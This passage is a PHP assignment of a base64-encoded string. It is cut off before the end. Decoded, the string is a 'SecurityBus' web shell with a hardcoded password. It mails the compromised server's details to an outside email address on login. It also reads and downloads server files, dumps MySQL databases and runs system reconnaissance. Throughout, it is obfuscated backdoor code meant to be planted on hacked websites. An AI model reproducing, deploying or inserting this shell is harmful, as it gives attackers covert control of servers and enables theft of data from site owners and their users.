$secu = 'PD9waHAgDQplcnJvcl9yZXBvcnRpbmcoNyk7DQpAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApOw0Kb2Jfc3RhcnQoKTsNCiRtdGltZSA9IGV4cGxvZGUoJyAnLCBtaWNyb3RpbWUoKSk7DQokc3RhcnR0aW1lID0gJG10aW1lWzFdICsgJG10aW1lWzBdOw0KZGVmaW5lKCdTQV9ST09UJywgc3RyX3JlcGxhY2UoJ1xcJywgJy8nLCBkaXJuYW1lKF9fRklMRV9fKSkuJy8nKTsNCi8vZGVmaW5lKCdJU19XSU4nLCBzdHJzdHIoUEhQX09TLCAnV0lOJykgPyAxIDogMCApOw0KZGVmaW5lKCdJU19XSU4nLCBESVJFQ1RPUllfU0VQQVJBVE9SID09ICdcXCcpOw0KZGVmaW5lKCdJU19DT00nLCBjbGFzc19leGlzdHMoJ0NPTScpID8gMSA6IDAgKTsNCmRlZmluZSgnSVNfR1BDJywgZ2V0X21hZ2ljX3F1b3Rlc19ncGMoKSk7DQokZGlzX2Z1bmMgPSBnZXRfY2ZnX3ZhcignZGlzYWJsZV9mdW5jdGlvbnMnKTsNCmRlZmluZSgnSVNfUEhQSU5GTycsICghZXJlZ2koInBocGluZm8iLCRkaXNfZnVuYykpID8gMSA6IDAgKTsNCkBzZXRfdGltZV9saW1pdCgwKTsNCg0KZm9yZWFjaChhcnJheSgnX0dFVCcsJ19QT1NUJykgYXMgJF9yZXF1ZXN0KSB7DQoJZm9yZWFjaCgkJF9yZXF1ZXN0IGFzICRfa2V5ID0+ICRfdmFsdWUpIHsNCgkJaWYgKCRfa2V5ezB9ICE9ICdfJykgew0KCQkJaWYgKElTX0dQQykgew0KCQkJCSRfdmFsdWUgPSBzX2FycmF5KCRfdmFsdWUpOw0KCQkJfQ0KCQkJJCRfa2V5ID0gJF92YWx1ZTsNCgkJfQ0KCX0NCn0NCg0KLyo9PT09PT09PT09PT09PT09PSAgSW5mbyBMb2dpbiAgPT09PT09PT09PT09PT09PSovDQokYWRtaW4gPSBhcnJheSgpOw0KJGFkbWluWydjaGVjayddID0gdHJ1ZTsNCiRhZG1pblsncGFzcyddICA9ICdnMXU1eSc7IC8vIFBhc3N3b3JkIGxvZ2luDQokYWRtaW5bJ2Nvb2tpZXByZSddID0gJyc7DQokYWRtaW5bJ2Nvb2tpZWRvbWFpbiddID0gJyc7DQokYWRtaW5bJ2Nvb2tpZXBhdGgnXSA9ICcvJzsNCiRhZG1pblsnY29va2llbGlmZSddID0gODY0MDA7DQovKj09PT09PT09PT09PT09PT09PT09PSBFbmQgPT09PT09PT09PT09PT09PT09PT09Ki8NCg0KaWYgKCRjaGFyc2V0ID09ICd1dGY4Jykgew0KCWhlYWRlcigiY29udGVudC1UeXBlOiB0ZXh0L2h0bWw7IGNoYXJzZXQ9dXRmLTgiKTsNCn0gZWxzZWlmICgkY2hhcnNldCA9PSAnYmlnNScpIHsNCgloZWFkZXIoImNvbnRlbnQtVHlwZTogdGV4dC9odG1sOyBjaGFyc2V0PWJpZzUiKTsNCn0gZWxzZWlmICgkY2hhcnNldCA9PSAnZ2JrJykgew0KCWhlYWRlcigiY29udGVudC1UeXBlOiB0ZXh0L2h0bWw7IGNoYXJzZXQ9Z2JrIik7DQp9IGVsc2VpZiAoJGNoYXJzZXQgPT0gJ2xhdGluMScpIHsNCgloZWFkZXIoImNvbnRlbnQtVHlwZTogdGV4dC9odG1sOyBjaGFyc2V0PWlzby04ODU5LTIiKTsNCn0NCg0KJHNlbGYgPSAkX1NFUlZFUlsnUEhQX1NFTEYnXSA/ICRfU0VSVkVSWydQSFBfU0VMRiddIDogJF9TRVJWRVJbJ1NDUklQVF9OQU1FJ107DQokdGltZXN0YW1wID0gdGltZSgpOw0KDQovKj09PT09PT09PT09PT09PT09PT09PSBMb2dpbiA9PT09PT09PT09PT09PT09PT09PT0qLw0KaWYgKCRhY3Rpb24gPT0gImxvZ291dCIpIHsNCglzY29va2llKCd2YmFwYXNzJywgJycsIC04NjQwMCAqIDM2NSk7DQoJcCgnPG1ldGEgaHR0cC1lcXVpdj0icmVmcmVzaCIgY29udGVudD0iMDtVUkw9Jy4kc2VsZi4nIj4nKTsNCglwKCc8Ym9keSBiYWNrZ3JvdW5kPWh0dHA6Ly9pMTEyNC5waG90b2J1Y2tldC5jb20vYWxidW1zL2w1NzUvZ2l2YXkvdGhfbWF0cml4LmdpZj4nKTsNCglleGl0Ow0KfQ0KaWYoJGFkbWluWydjaGVjayddKSB7DQoJaWYgKCRkb2luZyA9PSAnbG9naW4nKSB7DQoJCWlmICgkYWRtaW5bJ3Bhc3MnXSA9PSAkcGFzc3dvcmQpIHsNCgkJCXNjb29raWUoJ3ZiYXBhc3MnLCAkcGFzc3dvcmQpOw0KDQokdGltZV9zaGVsbCA9ICIiLmRhdGUoImQvbS9ZIC0gSDppOnMiKS4iIjsNCiRpcF9yZW1vdGUgPSAkX1NFUlZFUlsiUkVNT1RFX0FERFIiXTsNCiRmcm9tX3NoZWxsY29kZSA9ICdzaGVsbEAnLmdldGhvc3RieW5hbWUoJF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ10pLicnOw0KJHRvX2VtYWlsID0gJ3M0ZjN3M2JAeWFob28uY29tJzsNCiRzZXJ2ZXJfbWFpbCA9ICIiLmdldGhvc3RieW5hbWUoJF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ10pLiIgIC0gIi4kX1NFUlZFUlsnSFRUUF9IT1NUJ10uIiI7DQokbGlua2NyID0gIkxpbms6ICIuJF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ10uIiIuJF9TRVJWRVJbJ1JFUVVFU1RfVVJJJ10uIiAtIElQIEV4Y3V0aW5nOiAkaXBfcmVtb3RlIC0gVGltZTogJHRpbWVfc2hlbGwiOw0KJGhlYWRlciA9ICJGcm9tOiAkZnJvbV9zaGVsbGNvZGVcclxuUmVwbHktdG86ICRmcm9tX3NoZWxsY29kZSI7DQpAbWFpbCgkdG9fZW1haWwsICRzZXJ2ZXJfbWFpbCwgJGxpbmtjciwgJGhlYWRlcik7DQoJCQlwKCc8bWV0YSBodHRwLWVxdWl2PSJyZWZyZXNoIiBjb250ZW50PSIyO1VSTD0nLiRzZWxmLiciPicpOw0KCQkJcCgnPGJvZHkgYmFja2dyb3VuZD1odHRwOi8vaTExMjQucGhvdG9idWNrZXQuY29tL2FsYnVtcy9sNTc1L2dpdmF5L3RoX21hdHJpeC5naWY+DQo8QlI+PEJSPjxkaXYgYWxpZ249Y2VudGVyPjxmb250IGNvbG9yPXllbGxvdyBmYWNlPXRhaG9tYSBzaXplPTI+V2VsY29tZSBiYWNrIFNlY3VyaXR5QnVzIC0gUGxlYXNlIHdhaXQuLi48QlI+PGltZyBzcmM9aHR0cDovL2kzODIucGhvdG9idWNrZXQuY29tL2FsYnVtcy9vbzI2My92bmhhY2tlci9sb2FkaW5nLmdpZj48L2Rpdj4nKTsNCgkJCWV4aXQ7DQoJCX0NCg0KCWVsc2UNCgl7DQoJJGVycl9tZXNzID0gJzx0YWJsZSB3aWR0aD0xMDAlPjx0cj48dGQgYmdjb2xvcj0jMEUwRTBFIHdpZHRoPTEwMCUgaGVpZ2h0PTI0PjxkaXYgYWxpZ249Y2VudGVyPjxmb250IGNvbG9yPXJlZCBmYWNlPXRhaG9tYSBzaXplPTI+PGJsaW5rPlBhc3N3b3JkIGluY29ycmVjdCwgUGxlYXNlIHRyeSBhZ2FpbiEhITwvYmxpbms+PEJSPjwvZm9udD48L2Rpdj48L3RkPjwvdHI+PC90YWJsZT4nOw0KZWNobyAkZXJyX21lc3M7DQoJfX0NCglpZiAoJF9DT09LSUVbJ3ZiYXBhc3MnXSkgew0KCQlpZiAoJF9DT09LSUVbJ3ZiYXBhc3MnXSAhPSAkYWRtaW5bJ3Bhc3MnXSkgew0KCQkJbG9naW5wYWdlKCk7DQoJCX0NCgl9IGVsc2Ugew0KCQlsb2dpbnBhZ2UoKTsNCgl9DQp9DQovKj09PT09PT09PT09PT09PT09PT09PSBMb2dpbiA9PT09PT09PT09PT09PT09PT09PT0qLw0KDQokZXJybXNnID0gJyc7DQoNCmlmICgkYWN0aW9uID09ICdwaHBpbmZvJykgew0KCWlmIChJU19QSFBJTkZPKSB7DQoJCXBocGluZm8oKTsNCgl9IGVsc2Ugew0KCQkkZXJybXNnID0gJ3BocGluZm8oKSBmdW5jdGlvbiBoYXMgbm9uLXBlcm1pc3NpYmxlJzsNCgl9DQp9DQoNCg0KaWYgKCRkb2luZyA9PSAnZG93bmZpbGUnICYmICR0aGVmaWxlKSB7DQoJaWYgKCFAZmlsZV9leGlzdHMoJHRoZWZpbGUpKSB7DQoJCSRlcnJtc2cgPSAnVGhlIGZpbGUgeW91IHdhbnQgRG93bmxvYWRhYmxlIHdhcyBub25leGlzdGVudCc7DQoJfSBlbHNlIHsNCgkJJGZpbGVpbmZvID0gcGF0aGluZm8oJHRoZWZpbGUpOw0KCQloZWFkZXIoJ0NvbnRlbnQtdHlwZTogYXBwbGljYXRpb24veC0nLiRmaWxlaW5mb1snZXh0ZW5zaW9uJ10pOw0KCQloZWFkZXIoJ0NvbnRlbnQtRGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7IGZpbGVuYW1lPScuJGZpbGVpbmZvWydiYXNlbmFtZSddKTsNCgkJaGVhZGVyKCdDb250ZW50LUxlbmd0aDogJy5maWxlc2l6ZSgkdGhlZmlsZSkpOw0KCQlAcmVhZGZpbGUoJHRoZWZpbGUpOw0KCQlleGl0Ow0KCX0NCn0NCg0KDQppZiAoJGRvaW5nID09ICdiYWNrdXBteXNxbCcgJiYgISRzYXZlYXNmaWxlKSB7DQoJZGJjb25uKCRkYmhvc3QsICRkYnVzZXIsICRkYnBhc3MsICRkYm5hbWUsICRjaGFyc2V0LCAkZGJwb3J0KTsNCgkkdGFibGUgPSBhcnJheV9mbGlwKCR0YWJsZSk7DQoJJHJlc3VsdCA9IHEoIlNIT1cgdGFibGVzIik7DQoJaWYgKCEkcmVzdWx0KSBwKCc8aDI+Jy5teXNxbF9lcnJvcigpLic8L2gyPicpOw0KCSRmaWxlbmFtZSA9IGJhc2VuYW1lKCRfU0VSVkVSWydIVFRQX0hPU1QnXS4nc3FsLmd6Jyk7DQoJaGVhZGVyKCdDb250ZW50LXR5cGU6IGFwcGxpY2F0aW9uL3Vua25vd24nKTsNCgloZWFkZXIoJ0NvbnRlbnQtRGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7IGZpbGVuYW1lPScuJGZpbGVuYW1lKTsNCgkkbXlzcWxkYXRhID0gJyc7DQoJd2hpbGUgKCRjdXJyb3cgPSBteXNxbF9mZXRjaF9hcnJheSgkcmVzdWx0KSkgew0KCQlpZiAoaXNzZXQoJHRhYmxlWyRjdXJyb3dbMF1dKSkgew0KCQkJJG15c3FsZGF0YSAuPSBzcWxkdW1wdGFibGUoJGN1cnJvd1swXSk7DQoJCX0NCgl9DQoJbXlzcWxfY2xvc2UoKTsNCglleGl0Ow0KfQ0KDQovLyBNeXNxbA0KaWYoJGRvaW5nPT0nbXlzcWxkb3duJyl7DQoJaWYgKCEkZGJuYW1lKSB7DQoJCSRlcnJtc2cgPSAnUGxlYXNlIGlucHV0IGRibmFtZSc7DQoJfSBlbHNlIHsNCgkJZGJjb25uKCRkYmhvc3QsICRkYnVzZXIsICRkYnBhc3MsICRkYm5hbWUsICRjaGFyc2V0LCAkZGJwb3J0KTsNCgkJaWYgKCFmaWxlX2V4aXN0cygkbXlzcWxkbGZpbGUpKSB7DQoJCQkkZXJybXNnID0gJ1RoZSBmaWxlIHlvdSB3YW50IERvd25sb2FkYWJsZSB3YXMgbm9uZXhpc3RlbnQnOw0KCQl9IGVsc2Ugew0KCQkJJHJlc3VsdCA9IHEoInNlbGVjdCBsb2FkX2ZpbGUoJyRteXNxbGRsZmlsZScpOyIpOw0KCQkJaWYoISRyZXN1bHQpew0KCQkJCXEoIkRST1AgVEFCTEUgSUYgRVhJU1RTIHRtcF9hbmdlbDsiKTsNCgkJCQlxKCJDUkVBVEUgVEFCTEUgdG1wX2FuZ2VsIChjb250ZW50IExPTkdCTE9CIE5PVCBOVUxMKTsiKTsNCgkJCQkvL0Rvd25sb2FkIFNRTA0KCQkJCXEoIkxPQUQgREFUQSBMT0NBTCBJTkZJTEUgJyIuYWRkc2xhc2hlcygkbXlzcWxkbGZpbGUpLiInIElOVE8gVEFCTEUgdG1wX2FuZ2VsIEZJRUxEUyBURVJNSU5BVEVEIEJZICdfX2FuZ2VsX3skdGltZXN0YW1wfV9lb2ZfXycgRVNDQVBFRCBCWSAnJyBMSU5FUyBURVJNSU5BVEVEIEJZICdfX2FuZ2VsX3skdGltZXN0YW1wfV9lb2ZfXyc7Iik7DQoJCQkJJHJlc3VsdCA9IHEoInNlbGVjdCBjb250ZW50IGZyb20gdG1wX2FuZ2VsIik7DQoJCQkJcSgiRFJPUCBUQUJMRSB0bXBfYW5nZWwiKTsNCgkJCX0NCgkJCSRyb3cgPSBAbXlzcWxfZmV0Y2hfYXJyYXkoJHJlc3VsdCk7DQoJCQlpZiAoISRyb3cpIHsNCgkJCQkkZXJybXNnID0gJ0xvYWQgZmlsZSBmYWlsZWQgJy5teXNxbF9lcnJvcigpOw0KCQkJfSBlbHNlIHsNCgkJCQkkZmlsZWluZm8gPSBwYXRoaW5mbygkbXlzcWxkbGZpbGUpOw0KCQkJCWhlYWRlcignQ29udGVudC10eXBlOiBhcHBsaWNhdGlvbi94LScuJGZpbGVpbmZvWydleHRlbnNpb24nXSk7DQoJCQkJaGVhZGVyKCdDb250ZW50LURpc3Bvc2l0aW9uOiBhdHRhY2htZW50OyBmaWxlbmFtZT0nLiRmaWxlaW5mb1snYmFzZW5hbWUnXSk7DQoJCQkJaGVhZGVyKCJBY2NlcHQtTGVuZ3RoOiAiLnN0cmxlbigkcm93WzBdKSk7DQoJCQkJZWNobyAkcm93WzBdOw0KCQkJCWV4aXQ7DQoJCQl9DQoJCX0NCgl9DQp9DQoNCj8+DQo8aHRtbD4NCjxoZWFkPg0KPG1ldGEgaHR0cC1lcXVpdj0iQ29udGVudC1UeXBlIiBjb250ZW50PSJ0ZXh0L2h0bWw7IGNoYXJzZXQ9dXRmLTgiPg0KPHRpdGxlPjw/cGhwIGVjaG8gc3RyX3JlcGxhY2UoJy4nLCcnLCdTZWN1cml0eUJ1cycpOz8+PC90aXRsZT4NCjxzdHlsZSB0eXBlPSJ0ZXh0L2NzcyI+DQpib2R5LHRke2ZvbnQ6IDEwcHQgVGFob21hO2NvbG9yOmdyYXk7bGluZS1oZWlnaHQ6IDE2cHg7fQ0KDQphIHtjb2xvcjogIzc0QTIwMjt0ZXh0LWRlY29yYXRpb246bm9uZTt9DQphOmhvdmVye2NvbG9yOiAjZjAwO3RleHQtZGVjb3JhdGlvbjp1bmRlcmxpbmU7fQ0KLmFsdDEgdGR7Ym9yZGVyLXRvcDoxcHggc29saWQgZ3JheTtib3JkZXItYm90dG9tOjFweCBzb2xpZCBncmF5O2JhY2tncm91bmQ6IzBFMEUwRTtwYWRkaW5nOjVweCAxMHB4IDVweCA1cHg7fQ0KLmFsdDIgdGR7Ym9yZGVyLXRvcDoxcHggc29saWQgZ3JheTtib3JkZXItYm90dG9tOjFweCBzb2xpZCBncmF5O2JhY2tncm91bmQ6I2Y5ZjlmOTtwYWRkaW5nOjVweCAxMHB4IDVweCA1cHg7fQ0KLmZvY3VzIHRke2JvcmRlci10b3A6MXB4IHNvbGlkIGdyYXk7Ym9yZGVyLWJvdHRvbTowcHggc29saWQgZ3JheTtiYWNrZ3JvdW5kOiMwRTBFMEU7cGFkZGluZzo1cHggMTBweCA1cHggNXB4O30NCi5mb3V0MSB0ZHtib3JkZXItdG9wOjFweCBzb2xpZCBncmF5O2JvcmRlci1ib3R0b206MHB4IHNvbGlkIGdyYXk7YmFja2dyb3VuZDojMEUwRTBFO3BhZGRpbmc6NXB4IDEwcHggNXB4IDVweDt9DQouZm91dCB0ZHtib3JkZXItdG9wOjFweCBzb2xpZCBncmF5O2JvcmRlci1ib3R0b206MHB4IHNvbGlkIGdyYXk7YmFja2dyb3VuZDojMjAyMDIwO3BhZGRpbmc6NXB4IDEwcHggNXB4IDVweDt9DQouaGVhZCB0ZHtib3JkZXItdG9wOjFweCBzb2xpZCBncmF5O2JvcmRlci1ib3R0b206MXB4IHNvbGlkIGdyYXk7YmFja2dyb3VuZDojMjAyMDIwO3BhZGRpbmc6NXB4IDEwcHggNXB4IDVweDtmb250LXdlaWdodDpib2xkO30NCi5oZWFkX3NtYWxsIHRke2JvcmRlci10b3A6MXB4IHNvbGlkIGdyYXk7Ym9yZGVyLWJvdHRvbToxcHggc29saWQgZ3JheTtiYWNrZ3JvdW5kOiMyMDIwMjA7cGFkZGluZzo1cHggMTBweCA1cHggNXB4O2ZvbnQtd2VpZ2h0Om5vcm1hbDtmb250LXNpemU6OHB0O30NCi5oZWFkIHRkIHNwYW57Zm9udC13ZWlnaHQ6bm9ybWFsO30NCmZvcm17bWFyZ2luOjA7cGFkZGluZzowO30NCmgye21hcmdpbjowO3BhZGRpbmc6MDtoZWlnaHQ6MjRweDtsaW5lLWhlaWdodDoyNHB4O2ZvbnQtc2l6ZToxNHB4O2NvbG9yOiM1QjY4NkY7fQ0KdWwuaW5mbyBsaXttYXJnaW46MDtjb2xvcjojNDQ0O2xpbmUtaGVpZ2h0OjI0cHg7aGVpZ2h0OjI0cHg7fQ0KdXt0ZXh0LWRlY29yYXRpb246IG5vbmU7Y29sb3I6Izc3NztmbG9hdDpsZWZ0O2Rpc3BsYXk6YmxvY2s7d2lkdGg6MTUwcHg7bWFyZ2luLXJpZ2h0OjEwcHg7fQ0KaW5wdXQsIHRleHRhcmVhLCBidXR0b24NCnsNCglmb250LXNpemU6IDlwdDsNCgljb2xvcjogI2NjYzsNCglmb250LWZhbWlseTogdmVyZGFuYSwgc2Fucy1zZXJpZjsNCgliYWNrZ3JvdW5kLWNvbG9yOiAjMjAyMDIwOw0KCWJvcmRlci1sZWZ0OiAxcHggc29saWQgIzc0QTIwMjsNCglib3JkZXItdG9wOiAxcHggc29saWQgIzc0QTIwMjsNCglib3JkZXItcmlnaHQ6IDFweCBzb2xpZCAjNzRBMjAyOw0KCWJvcmRlci1ib3R0b206IDFweCBzb2xpZCAjNzRBMjAyOw0KfQ0Kc2VsZWN0DQp7DQoJZm9udC1zaXplOiA4cHQ7DQoJZm9udC13ZWlnaHQ6IG5vcm1hbDsNCgljb2xvcjogI2NjYzsNCglmb250LWZhbWlseTogdmVyZGFuYSwgc2Fucy1zZXJpZjsNCgliYWNrZ3JvdW5kLWNvbG9yOiAjMjAyMDIwOw0KfQ0KDQo8L3N0eWxlPg0KPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPg0KZnVuY3Rpb24gQ2hlY2tBbGwoZm9ybSkgew0KCWZvcih2YXIgaT0wO2k8Zm9ybS5lbGVtZW50cy5sZW5ndGg7aSsrKSB7DQoJCXZhciBlID0gZm9ybS5lbGVtZW50c1tpXTsNCgkJaWYgKGUubmFtZSAhPSAnY2hrYWxsJykNCgkJZS5jaGVja2VkID0gZm9ybS5jaGthbGwuY2hlY2tlZDsNCiAgICB9DQp9DQpmdW5jdGlvbiAkKGlkKSB7DQoJcmV0dXJuIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKGlkKTsNCn0NCmZ1bmN0aW9uIGdvYWN0aW9uKGFjdCl7DQoJJCgnZ29hY3Rpb24nKS5hY3Rpb24udmFsdWU9YWN0Ow0KCSQoJ2dvYWN0aW9uJykuc3VibWl0KCk7DQp9DQo8L3NjcmlwdD4NCjwvaGVhZD4NCjxib2R5IG9uTG9hZD0iaW5pdCgpIiBzdHlsZT0ibWFyZ2luOjA7dGFibGUtbGF5b3V0OmZpeGVkOyB3b3JkLWJyZWFrOmJyZWFrLWFsbCIgYmdjb2xvcj1ibGFjayBiYWNrZ3JvdW5kPWh0dHA6Ly9pMTEyNC5waG90b2J1Y2tldC5jb20vYWxidW1zL2w1NzUvZ2l2YXkvdGhfbWF0cml4LmdpZj4NCg0KDQo8ZGl2IGJvcmRlcj0iMCIgc3R5bGU9InBvc2l0aW9uOmZpeGVkOyB3aWR0aDogMTAwJTsgaGVpZ2h0OiAyNXB4OyB6LWluZGV4OiAxOyB0b3A6IDMwMHB4OyBsZWZ0OiAwOyIgaWQ9ImxvYWRpbmciIGFsaWduPSJjZW50ZXIiIHZhbGlnbj0iY2VudGVyIj4NCgkJCQk8dGFibGUgYm9yZGVyPSIxIiB3aWR0aD0iMTEwcHgiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCIgc3R5bGU9ImJvcmRlci1jb2xsYXBzZTogY29sbGFwc2UiIGJvcmRlcmNvbG9yPSIjMDAzMzAwIj4NCgkJCQkJPHRyPg0KCQkJCQkJPHRkIGFsaWduPSJjZW50ZXIiIHZhbGlnbj1jZW50ZXI+DQoJCQkJIDxkaXYgYm9yZGVyPSIxIiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogIzBFMEUwRTsgZmlsdGVyOiBhbHBoYShvcGFjaXR5PTcwKTsgb3BhY2l0eTogLjc7IHdpZHRoOiAxMTBweDsgaGVpZ2h0OiAyNXB4OyB6LWluZGV4OiAxOyBib3JkZXItY29sbGFwc2U6IGNvbGxhcHNlOyIgYm9yZGVyY29sb3I9IiMwMDY2MDAiICBhbGlnbj0iY2VudGVyIj4NCgkJCQkgICBMb2FkaW5nPGltZyBzcmM9Imh0dHA6Ly9pMzgyLnBob3RvYnVja2V0LmNvbS9hbGJ1bXMvb28yNjMvdm5oYWNrZXIvbG9hZGluZy5naWYiPg0KCQkJCSAgPC9kaXY+DQoJCQkJPC90ZD4NCgkJCQkJPC90cj4NCgkJCQk8L3RhYmxlPg0KPC9kaXY+DQogPHNjcmlwdD4NCiB2YXIgbGQ9KGRvY3VtZW50LmFsbCk7DQogIHZhciBuczQ9ZG9jdW1lbnQubGF5ZXJzOw0KIHZhciBuczY9ZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQmJiFkb2N1bWVudC5hbGw7DQogdmFyIGllND1kb2N1bWVudC5hbGw7DQogIGlmIChuczQpDQogCWxkPWRvY3VtZW50LmxvYWRpbmc7DQogZWxzZSBpZiAobnM2KQ0KIAlsZD1kb2N1bWVudC5nZXRFbGVtZW50QnlJZCgibG9hZGluZyIpLnN0eWxlOw0KIGVsc2UgaWYgKGllNCkNCiAJbGQ9ZG9jdW1lbnQuYWxsLmxvYWRpbmcuc3R5bGU7DQogIGZ1bmN0aW9uIGluaXQoKQ0KIHsNCiBpZihuczQpe2xkLnZpc2liaWxpdHk9ImhpZGRlbiI7fQ0KIGVsc2UgaWYgKG5zNnx8aWU0KSBsZC5kaXNwbGF5PSJub25lIjsNCiB9DQogPC9zY3JpcHQ+DQoNCg0KDQoNCjx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxscGFkZGluZz0iMCIgY2VsbHNwYWNpbmc9IjAiPg0KCTx0ciBjbGFzcz0iaGVhZF9zbWFsbCI+DQoJCTx0ZCAgd2lkdGg9MTAwJT4NCgkJPHRhYmxlIHdpZHRoPTEwMCU+PHRyIGNsYXNzPSJoZWFkX3NtYWxsIj48dGQgIHdpZHRoPTE1Nj48YSB0aXRsZT0iU2VjdXJpdHlCdXMiIGhyZWY9Ijw/cGhwICRzZWxmOz8+Ij48aW1nIHNyYz1odHRwOi8vaW1hZ2VzaGFjay5jb20vYS9pbWc1ODUvMzE1Ny9kZXFnLmpwZyB3aWR0aD0iMTU0IiBoZWlnaHQ9ODYgYm9yZGVyPTA+PC9hPjwvdGQ+DQoJCTx0ZCB3aWR0aD0iODEyIj4NCgkJPHNwYW4gc3R5bGU9ImZsb2F0OnJpZ2h0OyI+IDw/cGhwIGVjaG8gIkhvc3RuYW1lOiAiLiRfU0VSVkVSWydIVFRQX0hPU1QnXS4iIjs/PiAgfCA8YSBocmVmPSIiIHRhcmdldD0iX2JsYW5rIj48YSBocmVmPSIiIHRhcmdldD0iX2JsYW5rIj48P3BocCBlY2hvIHN0cl9yZXBsYWNlKCcuJywnJywnW0hhY2tlZCBCeSBTZWN1cml0eUJ1c10nKTs/PjwvYT4gIHwgPGEgaHJlZj0iamF2YXNjcmlwdDpnb2FjdGlvbignbG9nb3V0Jyk7Ij48Zm9udCBjb2xvcj1yZWQ+TG9nb3V0PC9mb250PjwvYT48L3NwYW4+DQoNCgkJPD9waHANCgkJJGN1cmxfb24gPSBAZnVuY3Rpb25fZXhpc3RzKCdjdXJsX3ZlcnNpb24nKTsNCgkJJG15c3FsX29uID0gQGZ1bmN0aW9uX2V4aXN0cygnbXlzcWxfY29ubmVjdCcpOw0KCQkkbXNzcWxfb24gPSBAZnVuY3Rpb25fZXhpc3RzKCdtc3NxbF9jb25uZWN0Jyk7DQoJCSRwZ19vbiA9IEBmdW5jdGlvbl9leGlzdHMoJ3BnX2Nvbm5lY3QnKTsNCgkJJG9yYV9vbiA9IEBmdW5jdGlvbl9leGlzdHMoJ29jaWxvZ29uJyk7DQoNCmVjaG8gKCgkc2FmZV9tb2RlKT8oIlNhZmVfbW9kOiA8Yj48Zm9udCBjb2xvcj1ncmVlbj5PTjwvZm9udD48L2I+IC0gIik6KCJTYWZlX21vZDogPGI+PGZvbnQgY29sb3I9cmVkPk9GRjwvZm9udD48L2I+IC0gIikpOw0KZWNobyAiUEhQIHZlcnNpb246IDxiPiIuQHBocHZlcnNpb24oKS4iPC9iPiAtICI7DQoJCWVjaG8gImNVUkw6ICIuKCgkY3VybF9vbik/KCI8Yj48Zm9udCBjb2xvcj1ncmVlbj5PTjwvZm9udD48L2I+IC0gIik6KCI8Yj48Zm9udCBjb2xvcj1yZWQ+T0ZGPC9mb250PjwvYj4gLSAiKSk7DQoJCWVjaG8gIk15U1FMOiA8Yj4iOw0KJG15c3FsX29uID0gQGZ1bmN0aW9uX2V4aXN0cygnbXlzcWxfY29ubmVjdCcpOw0KaWYoJG15c3FsX29uKXsNCmVjaG8gIjxmb250IGNvbG9yPWdyZWVuPk9OPC9mb250PjwvYj4gLSAiOyB9IGVsc2UgeyBlY2hvICI8Zm9udCBjb2xvcj1yZWQ+T0ZGPC9mb250PjwvYj4gLSAiOyB9DQplY2hvICJNU1NRTDogPGI+IjsNCiRtc3NxbF9vbiA9IEBmdW5jdGlvbl9leGlzdHMoJ21zc3FsX2Nvbm5lY3QnKTsNCmlmKCRtc3NxbF9vbil7ZWNobyAiPGZvbnQgY29sb3I9Z3JlZW4+T048L2ZvbnQ+PC9iPiAtICI7fWVsc2V7ZWNobyAiPGZvbnQgY29sb3I9cmVkPk9GRjwvZm9udD48L2I+IC0gIjt9DQplY2hvICJQb3N0Z3JlU1FMOiA8Yj4iOw0KJHBnX29uID0gQGZ1bmN0aW9uX2V4aXN0cygncGdfY29ubmVjdCcpOw0KaWYoJHBnX29uKXtlY2hvICI8Zm9udCBjb2xvcj1ncmVlbj5PTjwvZm9udD48L2I+IC0gIjt9ZWxzZXtlY2hvICI8Zm9udCBjb2xvcj1yZWQ+T0ZGPC9mb250PjwvYj4gLSAiO30NCmVjaG8gIk9yYWNsZTogPGI+IjsNCiRvcmFfb24gPSBAZnVuY3Rpb25fZXhpc3RzKCdvY2lsb2dvbicpOw0KaWYoJG9yYV9vbil7ZWNobyAiPGZvbnQgY29sb3I9Z3JlZW4+T048L2ZvbnQ+PC9iPiI7fWVsc2V7ZWNobyAiPGZvbnQgY29sb3I9cmVkPk9GRjwvZm9udD48L2I+PEJSPiI7fQ0KDQplY2hvICJEaXNhYmxlIGZ1bmN0aW9ucyA6IDxiPiI7DQppZignJz09KCRkZj1AaW5pX2dldCgnZGlzYWJsZV9mdW5jdGlvbnMnKSkpe2VjaG8gIjxmb250IGNvbG9yPWdyZWVuPk5PTkU8L2ZvbnQ+PC9iPjxCUj4iO31lbHNle2VjaG8gIjxmb250IGNvbG9yPXJlZD4kZGY8L2ZvbnQ+PC9iPjxCUj4iO30NCg0KZWNobyAiPGZvbnQgY29sb3I9d2hpdGU+VW5hbWUgLWE8L2ZvbnQ+OiAiLkBzdWJzdHIoQHBocF91bmFtZSgpLDAsMTIwKS4iPGJyPiI7DQplY2hvICI8Zm9udCBjb2xvcj13aGl0ZT5TZXJ2ZXI8L2ZvbnQ+OiAiLkBzdWJzdHIoJFNFUlZFUl9TT0ZUV0FSRSwwLDEyMCkuIiAtIDxmb250IGNvbG9yPXdoaXRlPmlkPC9mb250PjogIi5AZ2V0bXl1aWQoKS4iKCIuQGdldF9jdXJyZW50X3VzZXIoKS4iKSAtIHVpZD0iLkBnZXRteXVpZCgpLiIgKCIuQGdldF9jdXJyZW50X3VzZXIoKS4iKSBnaWQ9Ii5AZ2V0bXlnaWQoKS4iKCIuQGdldF9jdXJyZW50X3VzZXIoKS4iKTxicj4iOw0KCQk/PgkJPC90ZD4NCgkJPC90cj48L3RhYmxlPjwvdGQ+DQoJPC90cj4NCgk8dHIgY2xhc3M9ImFsdDEiPg0KCQk8dGQgIHdpZHRoPTEwMCU+PHNwYW4gc3R5bGU9ImZsb2F0OnJpZ2h0OyI+W1NlcnZlciBJUDogPD9waHAgZWNobyAiPGZvbnQgY29sb3I9eWVsbG93PiIuZ2V0aG9zdGJ5bmFtZSgkX1NFUlZFUlsnU0VSVkVSX05BTUUnXSkuIjwvZm9udD4iOz8+IC0gWW91ciBJUDogPD9waHAgZWNobyAiPGZvbnQgY29sb3I9eWVsbG93PiIuJF9TRVJWRVJbJ1JFTU9URV9BRERSJ10uIjwvZm9udD4iOz8+XSA8L3NwYW4+DQoN